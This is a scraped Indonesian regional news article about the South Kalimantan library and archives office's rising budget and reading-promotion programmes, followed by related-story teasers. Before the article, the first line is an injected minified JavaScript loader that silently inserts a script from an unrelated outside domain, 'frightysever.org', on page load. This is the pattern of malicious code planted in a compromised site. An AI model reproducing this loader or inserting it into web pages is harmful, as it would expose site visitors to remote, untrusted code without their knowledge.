(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Gubernur Kalsel mendapat Nugra Jasadarma Pustaloka tak lepas dari peran Kadispersip Kalsel, dra Hj Nurliani Dardie yang terus meningkatkan minat baca guna menjalankan visi Kalsel cerdas. Untuk menjalankan program yang ada, anggaran merupakan satu hal yang penting.
“Kalau memang punya program bagus untuk promosi gemar membaca dan bisa meyakinkan pemangku kepentingan, kenapa tidak,” tuturnya saat ditemui di sela kegiatan rapat koordinasi pengembangan perpustakaan kab/kota se-Kalsel di Rattan Inn, Rabu (9/11).
Pada awal masa jabatannya, anggaran untuk Dispersip Kalsel berjumlah 7 miliar. Hingga saat ini telah melesat ke angka 39 miliar. Angka ini sebanding dengan banyaknya program yang terus dijalankan oleh Dispersip Kalsel, seperti salah satunya mendatangkan banyak penulis nasional untuk bisa sharing dengan para penulis maupun masyarakat lokal.
Dispersip Kalsel juga mempunyai program seperti perpustakaan keliling, di mana armada perpustakaan menggunakan mobil untuk berkeliling ke sekolah-sekolah dan membawa buku bacaan. Selain itu ada pula trail pustaka yang juga membawa buku-buku ke sekolah tapi menggunakan motor trail untuk wilayah-wilayah yang sulit dijangkau dengan kendaraan roda empat.
Naiknya anggaran ini juga disebabkan Dispersip Kalsel harus melakukan rehabilitasi perpustakaan pal 6, rehabilitasi ringan perpustakaan Tendean, hingga membangun depo arsip di Banjarbaru. Rehabilitas ini masih akan terus berlanjut hingga tahun depan, sebut Nunung.
Untuk besaran nominal anggaran tahun depan pihaknya masih belum bisa memprediksi. Namun jika terjadi penurunan anggaran, tentu ini tidak berarti penurunan program. Sebab anggaran tentunya harus menyesuikan kebutuhan untuk Dispersip Kalsel itu sendiri.
Sejauh ini masyarakat yang berkunjung ke perpustakaan tidak pernah sepi, tapi semakin meningkat, tutur Kadispersip Kalsel. Tidak hanya masyarakat umum, tapi kunjungan dari pihak sekolah juga selau ramai mewarnai perpustakaan.
Selain hal itu, semakin berkembang pesatnya ilmu pengetahuan, ia akan terus menambah koleksi buku di perpustakaan. Selain menjadi daya tarik, penambahan koleksi ini tentu agar para pembaca masyarakat tidak bosan dengan buku yang itu-itu saja.(mario)
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
This website uses cookies.